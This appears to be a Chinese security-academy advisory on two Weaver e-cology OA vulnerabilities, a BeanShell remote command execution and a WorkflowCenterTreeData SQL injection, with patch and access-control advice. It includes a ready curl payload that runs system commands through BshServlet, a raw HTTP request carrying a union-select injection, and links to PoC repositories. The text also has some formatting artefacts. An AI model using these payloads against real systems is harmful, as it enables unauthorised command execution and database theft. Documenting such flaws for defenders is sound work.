泛微相关漏洞 – 作者:东塔安全学院-安全小百科

本文由“网络安全检测与防护技术国家地方联合工程研究中心深圳分中心——东塔网络安全学院”总结归纳

1、CNVD-2019-32204 泛微OA E-cology远程命令执行漏洞

01 泛微OA E-cology概述

泛微协同管理应用平台（e-cology）是一套兼具企业信息门户、知识管理、数据中心、工作流管理、人力资源管理、客户与合作伙伴管理、项目管理、财务管理、资产管理功能的协同商务平台。

02 漏洞描述

2019年9月19日，泛微e-cology OA系统被爆出存在远程代码执行漏洞。该漏洞存在于泛微协同管理应用平台OA系统的BeanShell组件中，该组件为系统自带且允许未授权访问。攻击者通过调用BeanShell组件的问题接口可直接在目标服务器上执行任意命令，目前该漏洞安全补丁已发布，请使用泛微e-cology OA系统的用户尽快采取防护措施。

03 通告截图

04 影响范围

泛微e-cology<=9.0

05 漏洞利用

漏洞路径:/weaver/bsh.servlet.BshServlet

exec("whoami")curl http://xx.xx.xx.xx.xx/weaver/bsh.servlet.BshServlet/ -d 'bsh.script=eval%00("ex"%2b"ec("whoami")");ampbsh.servlet.captureOutErr=trueampbsh.servlet.outp ut=raw'

poc：

https://github.com/sunird/e-cology-poc

复现详情可参考：

https://www.cnblogs.com/Sylon/p/11765543.html

06 修复建议

官方已发布针对此漏洞的修复补丁，受影响用户也可采取下列防护措施对此漏洞进行临时防护：

1. 禁止该系统在公网开放。

2. 配置 URL 访问控制策略：部署于公网的泛微OA系统，可通过 ACL 禁止外网对/BshServlet/路径的访问。

官方链接：

https://www.weaver.com.cn/cs/monitorDownload.html

2、CNVD-2019-34241 泛微E-cology OA系统SQL注入漏洞

01 漏洞简介

2019年10月10日，国家信息安全漏洞共享平台（CNVD）公布了泛微e-cology OA系统存在SQL注入漏洞（CNVD-2019-34241）。泛微e-cologyOA系统的WorkflowCenterTreeData接口在使用Oracle数据库时，由于内置的SQL语句拼接不严,导致泛微e-cology OA系统存在SQL注入漏洞。

攻击者利用该漏洞，可在未授权的情况下，远程发送精心构造的SQL语句，从而获取数据库敏感信息。

点击此处添加图片说明文字

02 影响范围

泛微e-cology OA系统 JSP版本

03 漏洞原理

泛微e-cology OA系统的WorkflowCenterTreeData接口在接收到用户输入时会在未经过安全过滤的情况下直接拼接到SQL语句中，造成SQL注入。

04 简单poc

POST nbsp/mobile/browser/WorkflowCenterTreeData.jsp?node=wftype_1ampscope=2333nbspHTTP/1.1 

Host:nbspip:port 

User-Agent:nbspMozilla/5.0nbsp(Macintosh;nbspIntelnbspMacnbspOSnbspXnbsp10.14;nbsprv:56.0)nbspGecko/20100101nbspFirefox/56.0 Accept:text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 

Accept-Language:nbspzh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 

Accept-Encoding:nbspgzip,nbspdeflate 

Content-Type:nbspapplication/x-www-form-urlencoded 

Content-Length:nbsp2236 

Connection:nbspcloseUpgrade-Insecure-Requests:nbsp1 formids=11111111111)))%0a%0dunion select NULL,value from v$parameter order by (((1

如果不存在漏洞，则显示结果如下

如果漏洞存在，则会直接回显很多数据

https://github.com/AdministratorGithub/e-cology-OA-SQL

https://github.com/mmioimm/ecology_test